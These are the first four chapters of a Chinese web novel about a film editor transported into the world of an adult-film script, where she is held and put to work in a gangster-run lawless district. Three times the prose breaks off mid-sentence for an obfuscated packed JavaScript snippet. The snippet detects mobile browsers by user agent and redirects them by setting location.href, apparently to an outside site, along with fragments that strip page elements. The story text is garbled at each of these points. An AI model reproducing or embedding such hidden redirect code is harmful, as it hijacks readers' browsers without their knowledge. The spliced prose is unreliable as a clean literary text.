《成为限制片路人甲》 1. 第 1 章 [现在,我的面前有一个好消息,和一个坏消息。 好消息,我穿越了。 坏消息,我穿进了用男女贴身肉搏侵/犯眼球的三级大片。] 当祝余认识到这一点的时候,她本人正衣衫褴褛、肚腹空空,一脸茫然地坐在昏暗恶臭的地下室中。 周围没有其他人,只有她自己。 她检查了自己的身体。 首先,是个女人,没有多余的器官,也没有缺失的器官。 其次,没有证件没有手机,任何能证明个人身份的物件都没有。身上只穿着简陋破烂的单衣,袜子破了洞露出大脚趾,每一处与空气无缝接触的皮肤全都灰扑扑、像是从泥土地里刚滚出来。 最后,她掏掏裤兜,摸出一张纸币,上面不是熟悉的头像,而是一张从没见过的脸。 到此,祝余确认,自己已经不处于原来的世界了。 为什么会变成这个样子? 契机很偶然。 在原来的世界里,她是一个剪辑师。 她从事这个行业,完全是被不靠谱的同校前辈骗过去的。在省略掉这样那样的小细节之后,她终于光荣地成为了一个专剪三级片的剪辑师。 祝余:…… 这是个很有趣的行业,因为你经常需要面对人类的肉/体和天马行空的剧情,某些影片更是为了拍摄男女之间的贴身肉搏戏码,而彻底放弃良知和尊严。 祝余:…… 因此,就在那一天晚上,祝余看着手头即将上档的最新影片的剧本,终于—— 她的节操彻底破碎了。 眼球被剧本中那光怪陆离、狗血喷脸、无厘头到抽刀断水水更流的剧情狠狠地侵/犯。 众所周知,人的节操一碎,人就会死。 这就是祝余为何身处此处的全部过程。 至于她为什么会知道,自己所在的世界是限制片的原因。那当然是—— 祝余的目光落在地下室那扇小而昏黄的窗口上,通过这个角度、透过那层薄薄的玻璃,可以清楚地看到外面天花板上张贴的一张海报。 那是一张宣传海报,还是一场演唱会的宣传海报。 底色是幻紫色的、其上印着一个眼神朦胧、发尾带着几缕挑染的吐舌男子,舌尖上有一枚银白色的舌珠。 而男子狭窄尖锐的下颌线旁,正用硕大的花体字印着他的名字——兔卷sharke。 这个不知所谓、没有任何含义的名字,偏偏正正好好是祝余亲自取的。而拥有这个艺名的,是一位新生代流量男偶像,在剧本中,其与其梦女私联,进而进行了长达两天、多达七次的贴身肉搏战。 编剧老师因为想名字想到头秃,祝余直接用电脑的自动取名程序帮她生成了一个,竟然真的被拿去用了! 祝余现在有苦难言。 比之其他她看过的穿越文而言,她目前的处境应该算得上是天崩开局。 哪怕穿成一只狗,都比穿成一个黑户来得强得多吧? 她尝试着自救。 她站起身来,通过跳起,使自己能看到地下室玻璃外的画面。让她感到安心的是,门外什么都没有,灯光很亮,是类似一条走廊的模样,至少没有什么彪形大汉看守她。 她用耳朵紧贴门板,仔仔细细地听着门外的声音,除去空气透过门的缝隙流动的声音之外,几乎听不到什么声响。 突然,脚步声由远及近地传来。 声音很不规律,是两个人一前一后在行走。 随着他们越走越近,二人交谈的声音也变得明显起来,直到停在祝余所处的地下室门口。 其中一人说:“之前的那个人处理好了吗?” 另一人说:“还没有,主管说再给他一段时间。” 一人咋舌:“真是不要命了,兜里有几个子啊还敢往里扔。” 另一人冷笑:“难道这种人还不够多吗?” “也是,毕竟我们做的就是他们的生意,多多益善。” 至此,结束对话。 门后传来用钥匙开门的声音,但却不是祝余这间,而是她隔壁。 她伸长脖子探头看,屏住呼吸不敢发出任何声响,只能看到两个穿着一身黑西装、戴着墨镜、几乎看不到面容的高大男人打开隔壁的门,抓着一个男人的胳膊拎出来,不顾他踉踉跄跄地跟在身后,像拖着一个麻袋一般将他硬生生于地面上拖行着。 那男人头发乱成鸡窝,面容憔悴、脸色蜡黄,祝余只能看到他脸上那双无神的眼睛,直直地朝着这边看过来。 在接触到祝余视线的那一刻,他发疯般挣扎、无声地嘶吼着,但很快,紧随其后的另一个西装男人抬脚便踹歪他的脑袋,那男人如同一个爆掉的气球一般,顿时偃旗息鼓。 祝余心跳如擂鼓,在那西装男人狐疑看过来之前,赶紧无声蹲下,蜷缩成一团,腿脚无力地靠在冰凉的铁门后。 好了好了,这下好了。 坏了坏了,这下是彻底完蛋了。 看这地方,怕不是什么kk园区吧? 不对,祝余,冷静一点,再仔细思考一下—— 编剧老师递过来的剧本里,有具体写过是在哪个国家吗? 祝余闭着眼睛,眼珠飞快颤抖着,用自己的大脑急速回忆着那些进展飞快的辣眼剧情,终于在一段背景描述里发现—— 这是一个人口众多的国家,社会正处于微妙的转型期,在这种微妙之下,存在着里世界的猖獗和部分无法被规范的组织人群。 简单来说就是,祝余,她免费了。 祝余:…… 法律规范的程度极低,道德水平不详,唯一的好消息就是,像祝余这样的黑户,应该还有很多,不至于要杀头的程度。 但就目前的状况而言,先不提黑户被杀头的概率,总感觉下一秒,她就要被拖走当成社会的渣滓养料了…… 救救我,救救我,救救我…… 祝余如此心中哀求着。 但不论她如何在心中嘶吼,也始终无人在意。 好的,看来穿越之后会有系统这件事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407015|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是假的。 穿越小说作者们,我讨厌你们…… 那么,祝余目前的目标就很明确了,只有一条,那就是—— 千万不能死!! 接下来的时间里,她被关在这间昏暗的地下室内将近完整的两天。 这两天里,她没有得到任何食物,体内干渴的水分让她感到昏厥、飘飘然;肚腹空荡荡的,饥饿感却强迫她清醒。 他们像是彻底遗忘了这里的这个女人一样。 祝余睁开眼睛,刺目的阳光烧灼着脆弱的眼皮,又是一个早上,这已经是没有得到任何食物的第三天了。 她艰难地张张嘴巴,口腔内的苦涩和长期的菌群发酵,让她的气味变得很难闻,几乎已经要无法忍耐下去了。 这时候,如果有人能给她一瓶水喝,她想,她一定会感谢那人一辈子。 但是,但是…… 经常当犯人的朋友应该知道,在面对犯人选择抵抗审判的时候,只需要将他逼到人类无法接受的极限,再施以援手,他就会很快招供自己的罪行。 祝余就是知道。 她在昏昏欲睡、身体达到极限之时,终于感受到了温暖的触感,那和阳光的刺目不同,她眼皮低垂着,看到一只手搭在自己的手腕上,祝余后知后觉地意识到,那是一只属于他人的手。 有人温柔地抬起她的下巴,声音如同一阵清风,轻飘飘地流过来,“辛苦了,小姐,现在你可以适当休息一下了。” 祝余不知道自己哪里来的力气,她只是凭着直觉、带着如同野兽般生存的本能,用自己脏兮兮的手掌抓住了那个男人脉络分明的小臂,她眯着眼睛,尝试着看清那男人的脸。可惜的是,那是一个背光的身影,她什么都看不清,除了男人高大到足够遮蔽阳光的身形、和他脸上那双瞳仁微闪的深蓝眼眸。 祝余喉腔蠕动着、几乎以违背身体本能的方式运作着,失去水的润滑,她的嗓音干哑生涩到像是另外一个世界的生物发出的声响,她痛苦地、艰难地,对着这个世界发出了自己的第一声: “我……不想死……” 太屈辱了,太卑微了,太愤怒了,太令人无法接受了。 但祝余不想死,她几乎哀叫着。 她听到头顶的男人发出“嗯”地一声沉吟,接着是短暂而静谧的沉默。 随后,男人弯着腰,修长的腿被西装裤包裹着,祝余甚至能看到他裤脚被打理得干净整洁,与皮鞋无缝连接,连袜子的边缘都无法看清。 他如同抚摸一只惹人怜爱的宠物一般,轻轻将置于祝余下颌的手掌滑动,直至那掌心能够将祝余的头全然包裹着,接着,微妙地蹭了蹭。 那种头皮被摩挲的感觉令祝余眯起眼睛,现在,只有这个动作不会消耗她多余的力气。 男人笑着,施舍般,语气轻柔地决定了祝余的未来: “请放心,和dobby一样可爱的小姐,我怎么会舍得你死掉呢?” 此时,距离祝余知道dobby是孔在一养的马尔济斯犬这件事,还有一周。 2. 第 2 章 这是个上等货色。 修长白皙的脖颈、线条流畅的小腿、精致纤瘦的足踝。 方时盯着床上安详闭眼的女人。 他觉得有些无聊,纯黑色的甲面搭在下巴上,遮住一小部分他脸颊上奇怪的纹样。仅从暴露的部分来看,那是几条毫无意义的纯黑线条,从唇瓣一直延伸到锁骨的位置,直到肉眼无法看到的位置,有点像是一个被撕裂的怪异笑容。 可是BOSS不是不做人口交易的吗? 方时屈了屈手指,眯着眼睛看自己甲面上被全部覆盖的纯黑色,像是在仔细检查一般。 床上的女人动了动,睁开眼睛。 她的双眼和发丝都是再普通不过的纯黑色,但往往就是这份无法被污染的纯黑色,也会吸引很大一部分癖好特殊的家伙。 她近乎赤/裸着,身体上那套脏脏的布料被扒掉,换上一套柔软贴肤的运动内衣,因为需要检查她血液里是否有些肉眼无法分辨的纳米机器,例如—— ……监视器之类的…… 那女人呆呆地看过来,脸上露出一副近乎愚蠢的表情,声音也细声细气: “您好,请问这里是……?” 方时撑着下巴,声音懒洋洋:“哟,恭喜你,活着来到地狱了呢。” 闻言,祝余几乎无法控制自己脸上的表情。 她深刻地明白,自己之前的行径绝不可能让她脱险,根据那个无脸男的说法,她只会陷入更深的深渊。 但对于祝余而言,那已经是最好的选择了。 她低头,看到自己身上柔软的衣物,和即将送进实验室的小强一般的现状…… 甚至手臂上还有一点青紫色、针孔留下的痕迹。 她知道,这是为了活下去。 于是祝余声音颤抖着,带着明显的焦虑恐惧, “……我不想死……对不起……对不起……” 言语几乎语无伦次。 男人歪头,如同欣赏般注视着她脸上那副崩溃的神情,似乎觉得这样很有趣。 他声音哑哑的、有几分少年气,没有回答她任何话,只是那一点沙沙的语气便让祝余干静下来。 “嗯……就先,按照那家伙的想法来吧。” 在接下来的三十分钟内,面前的男性展现了他超乎寻常的审美能力,这个装扮模样都略显浮夸怪异的男人,竟是个颇有水准的造型师。 他拍拍手,如同电视剧般夸张的画面便呈现在祝余面前。数十个穿着整齐统一的制服女性推着整整五排长而丰富的衣架走进这件房间,他只是撑着下巴,用手指随意点了几件衣服,速度快到祝余甚至怀疑他是否认真看过那些琳琅满目的衣装。 祝余局促而紧张地坐在角落里的椅子上,脚光/裸着,脚趾窘迫地勾在一起,低低垂着头,像是个不知道自己即将面临什么的柔弱女性。 男人看她的模样,低低地叹了口气。 “算了,感觉不太有灵感呢,如果是你的话,当个普通人会比较好,那种——就算站在别人面前,也不太会吸引到注意力的类型。” 他单膝跪下来,将祝余的一只脚搭在自己的大腿上,手边拿着一只黑色的、款式极其保守的漆皮低跟鞋,是那种穿上只能露出脚面的类型,万一穿着长裤、便只能看得到鞋边,非常简洁老实。 在穿上鞋子之前,他用拇指压着祝余的脚背,另一只手不须费力地环住祝余的小腿,为她套上一对深棕色透肉的丝袜,白皙的皮肤被袜色压住,男性的神情却丝毫不见变化,他只是单纯地、执着地盯着那些布料。 他喃喃着:“啊,腿很细,看来可以适当尝试一些暴露小腿的造型,这样也会达到放松警惕的效果。” 放松……警惕…… 相当可疑的呓语。 祝余埋着头,从视线的缝隙中试图窥探男性的神情,但他表现得异常冷静。 接着,他递过来一件套装,同样也是不会出错的纯黑色。 非要祝余形容的话,那比较像是以前办公族才会穿的职业OL装,衬得女性稍微有些死板。 祝余注意到他的视线落在自己的胸前,男性正用刻板而正经的语气表述着: “胸型好像很普通,帮大忙了,不需要定制的衣服会很好搞定。” 祝余无法抗拒他的动作,甚至无法对他的行为和言语提出质疑或者抵抗。 她知道,这一动说不准,要付出的代价是生命。 所以,她乖乖地穿上了。 在单人镜前,她看到比自己高多半头的男性站在身后,正用手归拢着祝余过肩的长发。 他的动作很轻柔,轻柔到几乎感受不到疼痛,轻柔到不像是应该面对一个“犯人”而使出的手段。 祝余同样也注视着镜面中的自己。 值得庆幸的是,她还是她,脸并没有发生任何改变。 只是穿上了一身套装,裙边的长度刚好卡在膝盖上方,女性腿部那处最骨感而最纤细的部分暴露无遗。小腿被深棕色丝袜包裹着,微微透出皮肉的光泽,再往下,便是一双挑不出错处的漆皮低跟鞋。 好陌生。 完全的,陌生。 简直不像是祝余,像是什么人的身体贴了一张她自己的脸一样。 她很难适应这种感觉。 镜子里的男人微微掀了掀眼皮,透过镜面盯着她的眼睛,突兀地张嘴: “你很不适应吗?” 这时间,他已经搞定了祝余的发型,简单的盘发。 他绕着圈,走到祝余面前。 声音疲倦: “还是尽快适应比较好,今后,你会常常来光顾我的。” 眉毛、睫毛、鼻尖、嘴唇、耳垂,被眼前的男人快速而轻柔地接触过,他掌心揉着一团热乎乎的肉色膏体,正一点点用食指点涂在祝余颊面上,再随机地涂抹开。 等到他再次挪开身体,将祝余的模样暴露无遗时,镜子里已经变成了另外一个人。 最后一步,他抬手,将挂在自己腕骨上的眼镜框置于祝余眼前。 镜面中,‘祝余’消失了。 那是一个埋着头、身材中规中矩,小腿的模样很漂亮但有些自卑的职场女性,她腼腆着、脖颈弓着,似乎极不适应一般。 有一只粗糙但温暖的手扶在祝余的后脖,将她反弓的弧度拉直,漫不经心地调/教她: “不要总是含胸,你的体态简直差到离谱。” 接着,他便一脸平淡地收拾着手边的工具,慢条斯理地抽出一张湿巾,将自己掌心和手背上残留的化妆痕迹全都擦拭干净,卷起一个小小的背包置于肩上,慢吞吞地朝着门口走。 不过,他仍是顿了顿,停下脚步,双眼准确地找到祝余眉心的位置,不出意外地看到了她脸上残余的一点无助。 他启唇,“你做得很好,以后也像现在这样就好。” 接着他转身,摆摆手,“我的意思是,你要听话。” 祝余迟疑地说了声谢谢,对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407016|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道听没听到,只是没回头地离开了。 果不其然,造型师仅仅只离开不到五分钟,便有人敲响这间空荡房间的房门。 祝余小步小步地往房门方向走,包臀裙极大程度地阻碍了她的行进路线。 她拉开门,注意到门口是个十分魁梧的西装男子,和她两天前透过玻璃看到的那二人穿着相仿。 男子说: “BOSS在等你。” 祝余颤抖着点头,小碎步般跟在男子身后,中途因为鞋子不跟脚、甚至踉跄了很多次。等到她注意到的时候,男子已经悄无声息地放缓了步调。 这对她而言,是更加危险的信号。 这条路的尽头在哪里? 是被审问还是被杀掉? 如果现在奋起反抗的话,还有机会逃走吗? 尽管她心中一秒之内浮现了数万种思绪,但她仍然只是乖巧地跟在西装男子身后,甚至不敢抬起头。 直到她被带到一件昏暗的、封闭的办公室,听到身后传来关门的声响,注意到那个西装男子默不作声地走到一旁,跨立,那令人毛骨悚然的注意力不再集中在自己身上之后,祝余才意识到—— 她到了。 那熟悉的声线又响起。 这次,他的嗓音有些闷,鼻音也有点重。 听起来像是发炎了。 他问:“你看起来有些眼熟呢。” 沉默。 没有人回答他的问题。 只是在那一瞬间,祝余感受到极大的屈辱。 她想过逃跑、想过被杀掉、甚至考虑过一进房间便下跪求饶,但让她无法接受的是,本应该要审判她的男人,却轻飘飘地将她抛之脑后。 她知道,她知道—— 她只不过是在庸人自扰。 祝余现在已经不是人类,在这个未知的世界里,或许—— 她只是个商品、货物而已。 祝余的身体颤抖着。 旁人只以为她在害怕。 她低低地垂着头,仿佛真的十分恐惧。 祝余感受到那道视线不带有任何侵略性,它只是轻轻地从齐穗的头顶滑到她的鞋面,男人的声音像轻轻哼鸣的夜莺,竟还带着几分秀丽。 他轻轻哼唱着: “月光~洒~落,归处~何~方……” 声音很好听,音调也很准。 祝余抬头,耳后的碎发顺着动作的弧度飘落,使得她只能从发丝的缝隙之中寻找那男人的影子。 那双熟悉的暗蓝色眸子淡淡注视着她的神情,声音带着调侃: “啊,终于看我了,我还在想,我要唱到第几句你才会抬起头来看我呢。” 祝余怔怔地注视着那张脸。 她想,现在一定是正午。 因为,在那张模糊的脸的背后,有一束强烈而耀眼的光,斜着穿透玻璃、黏着在男人的身体上,使得他如同降世的阿波罗一般,负着太阳,仅露出一点唇齿的弧度。 任何人,心中怀有罪孽的家伙,看到眼前这幅景象,都无法不为之动容。 他说: “眼熟的女孩,来认识一下吧。让我们像好朋友一样,先来交换各自的姓名,好吗?” 男人的声音慢悠悠地从齿关中挤出来,如同审判前那一刹那的沉寂。 “我是,孔在一。” 听到这个名字的一秒后,祝余无法遏制地,从喉腔中,不由自主地迸发出一声惊愕的尖叫。 3. 第 3 章 上位的男人歪着头, “小姐,你好像——认识我?” 霎那间,祝余的冷汗都要下来了。 她确实认识。 但只是认识这个名字。 再强调一遍,她只是个普普通通、专剪烂片的剪辑师。 但在剪辑之前,大部分剧本都要递到祝余手上审批一遍,以免在拍摄过程中产出无法修补、或无法合理剪辑的镜头。 所以,孔在一这个名字,当然也在剧本上。 这很正常啊,再正常不过了…… 毕竟,这就是个限制片的世界嘛。 但是! 但是! 这到底是几部限制片混在一起的世界?!! 那兔卷sharke又是谁? 她真的还活着吗? 其实自己是在做梦吧? 孔在一这个名字,放在剧本里,是个黑白通吃的大佬,平时还喜欢放点小贷款,最大的兴趣就是带着一大帮小弟浩浩荡荡地跑到别人家里,对着没能力偿还贷款的废物老公说: “既然这样,就把你美丽的妻子抵押给我吧。” 如此一个变态人设。 但那毕竟只是剧本。 当时的祝余看完之后,只是没良心地嘎嘎乐了两遍,接着便抛之脑后,全然没有想象到—— 有朝一日,她会站在这个男人面前,接受他的审判。 剧本只是剧本,但眼前的男人却是真实存在的。 他的语气乍听温柔秀丽,但这并不能让祝余忘记他的身份,这是一个处于里世界里、能够随意操纵别人性命的男人。 这是,无比真实的世界。 祝余的身体发着抖,像是连声音都无法发出了,感到极度害怕恐慌。 她努力平复着心情,让自己小心抬起头,直视着那双蔚蓝色的眼睛。 她不能说谎。 也不能实话实说。 她艰难地、从喉咙中一字一顿地吐出: “是的,曾经——有听闻过您的姓名,那时候,我还在逃亡的路上……” “逃亡啊……”男人轻叹,“真是可怜,希望到了这里,你能适当地休息一下。” 孔在一招招手,一个男人上前,递上一沓资料。 他的脸在移动中完全暴露出来,那是一张与他的身份完全相悖的模样。 纯黑的发丝被别致的造型分成两部分。头顶的发丝中分,于额前吹成波浪状的卷曲,暴露出光洁的额头与眉眼。发中的发丝柔软地贴合着面部的轮廓,末端甚至带着一些俏皮的卷翘,直至它延伸到锁骨下方的领口中去。 眼睛是接近海洋的蔚蓝色,像一汪小小的深渊,脸上的五官没有任何一处带着过于尖锐的线条,组合起来看,是一张无比柔和、极易博得他人好感的面容。 下唇微微丰满,唇齿之间总是噙着笑意,让人无法分辨他的真实情绪。 他正看着祝余笑,但他越笑,祝余便越觉得心跳加速。 自己无疑是在赌博。 她甚至不知道她的身体曾经经历了什么。 但祝余确认过,这具身体和她原本的身体一模一样,可以说就是原来的那具。 只因为她胸前有一颗浅棕色的痣,这颗痣跟随着祝余的年龄而增长着,曾经她还困扰过要不要去做手术除掉。 但现在,她竟平白无故地感激起这个“客人”。 如果她就是这具身体原本的主人,那么此刻的她对于这些人而言,就是个纯粹的流浪者、外来人,甚至是连过去都查不到的黑户。 在这种社会背景下,像她这样的人想必数不胜数。 果然,看过资料后,孔在一轻轻“嗯”了一声,才柔声道: “不要紧张,不会伤害你的。” 片刻之后,孔在一确认了一些信息。 他重新注视着台阶下那个一脸懦弱、埋头颤抖的女人,说: “那么,来为我工作吧?” 祝余很想拒绝,她甚至想转身就跑。 可她没有这个选项。 正午的阳光慢吞吞地前进着。 刚开始,那束光芒衬得孔在一犹如普世的太阳神。 后来,光芒逐渐蜿蜒、绕着孔在一的身体下滑,直到他的半张脸被淹没在光影交替的边缘。 那不再是神明的模样。 但那束微薄的光芒却穿透孔在一的身体,打在了女性的脸上,让他刚刚好看清祝余的模样。 她皱着眉,无意识地咬唇,用齿关虐待着苍白的唇瓣,看起来很是犹豫。 不过,她很快就同意了。 孔在一颔首。 于是,[祝余]获得了[工作]! 甚至,她得到了一张全新的、贴着崭新出炉的大头贴的、属于她的身份证明。 在孔在一询问她需不需要一个新名字的时候,祝余拒绝了。 她叫祝余。 这是妈妈为她留下的最后一件东西。 孔在一没说话,好像在思考什么,但最终也没有做出任何评价。 在那之后,祝余被带到一件宽敞的、配置齐全的单人宿舍。 这让她想起自己的大学生涯,但那时候的宿舍远远没有现在豪华。 在离开了新手保护之后,她变成了最基层的员工。目前暂时没有工资,身上的衣服也是之前造型师扔给她的那身,她甚至不知道自己要为孔在一做些什么。 不过,安排她的人走之前,为她留下了一张感应卡。 这是一张可以刷开e1到e3所有门禁的感应卡。 祝余所在的区域是一片不受政/府管辖的聚集区,简称灰土。 在这片区域因债务问题被拍卖给孔在一之后,他以不知名的方式将其收拢在手中。他于区域的正中心建起一片庞大的住宅区,建筑互相串联、宛若一个巨硕的堡垒。 占地面积超万顷,由连成串的一系列居住设施构成,学校、医院、商业地产、银行等等应有尽有,几乎是个微缩社会模型,难以想象这么庞大的建筑群要花多么恐怖的一笔资金来打造。 而在这片堡垒中,依据建筑设备的重要程度,整片硕大的区域被划分为五个阶层,由e1及e5。 祝余现在所暂时居住的单人宿舍,就是堡垒最边缘的住宅区,也就是靠近e2的区域。 与其说孔在一是什么放贷债主,不如说他更像掌握着混乱帝国的君王。 这片土地以孔在一的意志运行着,这是从前的祝余无论如何也无法想象的事情。 这就是这个世界残酷的现实。 至此,这个荒谬剧本世界中、那些没有被创作者描绘出来的场面才缓缓浮现于祝余的眼前。 一片失去管辖的庞大区域,一个拥有着粗壮资金流的男人,这是祝余在原来的世界里,无论如何都无法想象的存在,可偏偏,她现在就住在这里。 她将来要做些什么,她的未来是什么样子,祝余统统不知道。 尽管她认识那些剧本中的人物,尽管她或许知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407017|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些世界中的节点,可那些东西对于成为阶下囚的祝余而言,没有任何意义。 她仍然只有一个目标—— 活下去! 工作比她想象中轻松很多,大部分都是一些杂务。 在执行部门,她可以看到很多和她一样流离失所的人,但那些人的精神面貌却和她十分迥异。 得益于此,祝余才明白为什么自己会如此轻易地引起大BOSS的关注。只因为在这些蓬头垢面、面容萎缩的人群中,她的脸很明显不像是会为了生命逃亡的那种类型。 原来从一开始就被怀疑了…… 祝余尴尬擦汗。 彼时,她正交接完手头最后一个任务。 值得详细介绍一遍的是,在灰土中,居民们需要完成的任务等级也各不相同。非要让祝余描绘的话,她觉得执行部门更像是异世界中的冒险者工会,居民们按照各自的居住等级来接取符合自己阶层的任务。 在祝余当前的等级,平时能接取的任务也只有e2商业区发派的一些临时工的活计,通常情况下都是成为店员、或者去递送一些物资之类的琐事。 因为大家都是打黑工的,所以压根不存在什么劳动法、更不可能有五险一金,唯一的保证是日结工资,这是祝余唯一的指望。 而更高级别的任务,则是只有专职人员才能接触。 但祝余并不向往就是了。 她巴不得自己能够一直一直这样咸鱼下去,在大BOSS的庇护下安安分分地当个废物。 但很可惜。 命运从不给咸鱼躺平的机会。 在她勤奋工作一个月之后,执行部的前台小姐带着甜美的微笑,暗示她已经可以选择更高等级的任务进行接触时,祝余终于踏足属于灰土的一部分黑暗面。 前台小姐递给她一张照片,上面是一个中分长发、颊边发丝柔顺贴面,面容十分和善的娴静女人。 她说: “接下来,这就是你的新任务目标了。” 祝余沉默地看着那张照片。 “呃?”祝余呆滞,“任务目标?欸?任务目标是指?” 她僵硬地抬起手在自己脖颈间比划着,试探道:“难道是……?” 前台小姐发出银铃般的笑声,手心温柔地搓搓祝余的狗头, “您在想什么呢?目前您是没办法承办这种业务的哦,只是去催收一部分外债而已。” 什么意思?难道以后就要承办吗? 祝余暴汗。 前台小姐顺手又递给祝余一沓资料,指着上面的秃头男说: “这位吉田先生,是之前曾经在借贷平台拨走四千万借款的合作客户。但是现在很苦恼的是,这位先生因为产业失败、面临破产,目前已经拖欠了我们长达三个月的资金,而且人也不知所踪了呢。” 前台小姐托着下巴,一副“这到底是怎么回事呢”的神情。 “所以……?”祝余僵硬反问。 “所以!”前台小姐的笑容好温柔,“拜托祝余小姐前去催收吧!经过情报部的调查,这位吉田先生的妻子目前仍然在国内活动哦,所以拜托您前去给予这位妻子一些适当的提醒。必要的时候,可以采取一些其他手段哦~” 她甚至无力吐槽所谓的其他手段到底是什么东西…… 祝余感觉到自己的脖颈发出嘎吱嘎吱的声音,她缓缓低头,去看那张照片上那个温柔的女人,心中哇地一下哭出声音。 太太,太太,你的发型好危险啊! 4. 第 4 章 大BOSS只需要下命令就好,而身为执行人员的祝余需要考虑的就很多了。 在出任务之前,她需要领一张通行证。 在这个三不管地带的灰土,外出居然还需要用到一张信息备全的通行证。 祝余无法理解。 前台小姐的声音很温和:“出于某些外部因素,很多人在离开灰土之后都失去了音讯,所以,祝余小姐您拿着这份通行证,至少能证明您是从灰土出去的专职人员。” 好的,祝余明白了。 也就是说,她现在和灰土算是一根绳上的蚂蚱。 第一次出任务,虽然不明白这个任务到底含金量几许,但想想看,那毕竟是四千万的账单,怎么想都是很严重的税金拖欠了吧? 以及,面对一个丈夫拖欠债务的妻子,祝余需要做到什么地步?她能做到什么地步? 感觉…… 非常值得考量。 毕竟那可是人/妻啊!(理直气壮) 她按照热心前台小姐的指引来到执行部门的顶层,这里有着足足两千平的大平层,平到祝余会为这栋楼的承重墙哭泣的程度。 整层被全部打通,硬生生造出一个能同时容纳超过千人的大型换装间。 人员也很多,来来往往很多人,这里的精神面貌要比e1区好上很多,起码每个人脸上的表情不再是麻木。 祝余老老实实地排着队,在样式繁多的衣装区挑选着。 按道理来讲,她只要装作普通的黑/道小弟就可以,但是出于安全考虑,任务要求执行者在能够维持不被发现具体身份的状态下完成,因此,祝余现在的脸便不能被看到。 唔…… 要打扮成什么样子呢? 就像之前的造型师做的,戴个眼镜把脸遮起来不就很好吗? 可是,果然最好还是装扮成和平时截然不同的模样比较好吧? 就算是为了生存,她也还是想要尽可能保障自己的安全。 她指尖滑过很多件衣服,才艰难挑选出一件合适的。 头发,最好包起来。 那就戴个假发的,最好是平常不会选择的颜色—— 唔,紫色卷卷吧,看起来有点像章鱼。 衣服是普通的背带裤,是有些不辨男女的款式。 这样的话,干脆就伪装成男性怎么样? 让她想想—— 戴个黑框眼镜尽可能把脸部的皮肤遮盖干净,再用颈环将没有喉结的平滑肌肤挡住。 祝余凑近镜子,仔细从镜面中分辨出属于自己的特征,看起来,好像已经不那么明显了。 文静秀气的脸,书卷气严重而显得清冷的镜框,加上略微显瘦骨感的身形,假如刻意忽视掉举止间的女性气息,镜中之人无论如何看都是一个相当俊秀的少年。 镜面后,熙熙攘攘的人群中,有一双眼睛直直地看过来。 他歪着头,像是确认了什么,才靠近祝余。 声音依旧带着哑,“是你啊,但是伪装太烂了。” 啊,是那个造型师! 祝余局促地转身,在专业人员面前耍大刀让她颇有几分羞耻。 方时的目光从上到下扫视着她的身体。 开口道:“肩膀不要内扣,行走的时候腰要舒展开来,同时脚掌之间的距离要更大一些——” 他抬头,示意祝余按照自己说的走两步。 祝余勉强调整了自己的姿势,却歪七扭八不得要领。 一只手撑上她的后腰,声音毫无情绪,“臀部,走路不要扭动,正常男性的腰胯摆动幅度不会这么大,尝试着学习孩童走路的方式。” 手掌隔着衣物贴上来,出乎意料地,祝余没有任何反感的情绪。男性声音中的公事公办让她感受到久违的放松,因为这是不需要她去动脑思考的存在。 她转头,看着自己的脚后跟,艰难地尝试按照男性的指令行走,看到成效之后才含蓄地抿唇,小声对他道谢。 方时敛着羽睫,面容似乎有几分倦怠,只浅浅地看着她。 脸上那无意义的花纹,像是纯黑眼眸的延伸,在他面容上张牙舞爪,替他抒发着他所隐藏的情绪。 普通的黑发黑眸、五官被面容的纹身夺取关注度,因此而更像个没有情绪的影子。 他似乎一直是这样。 但和孔在一不同。站在他的面前,祝余起码是以人的身份被审视着,眼前的造型师只会关注她身上的布料和她作为人的特质,而不会更加探究其他。 这是个,令人无意识感到放松舒适的存在。 “方时,我叫方时。”对面的男性突兀地开口了,“以后类似的任务,都需要来这里一趟。我说过了,你以后会常常光顾我的生意……” 他想了想,“祝余,对吧?” 祝余点点头,惊讶于他居然记下了自己的姓名。 方时转身欲要离开,又突然停下脚步,叮嘱了一句: “记得和女性保持距离,她们比普通男人更敏锐,如果被发现了——” “如果被发现了?”祝余重复他的话,追问着。 方时歪头,那双薄冰似的双眸仔细地审视眼前称得上秀气的“少年”,看起来,像是女性会喜欢的类型。 他心中升起不明显的愉悦。 他喜欢这种——肉眼看上去就很“轻松”的类型。 “会很‘危险’。” 哈? 说什么疯话呢? 危险是指…… 被杀掉? 祝余僵硬出原画。 她越发觉得,自己好可怜。 …… 总之,在一系列这样那样的准备之后,祝余终于可以动身离开灰土。 灰土明面上属于境内管辖地。但由于地理位置处于国家的交界处,国家之间的外交政策产生偏颇,因此滋生出这么一小片无法以正常的规章程序收拢的地带。 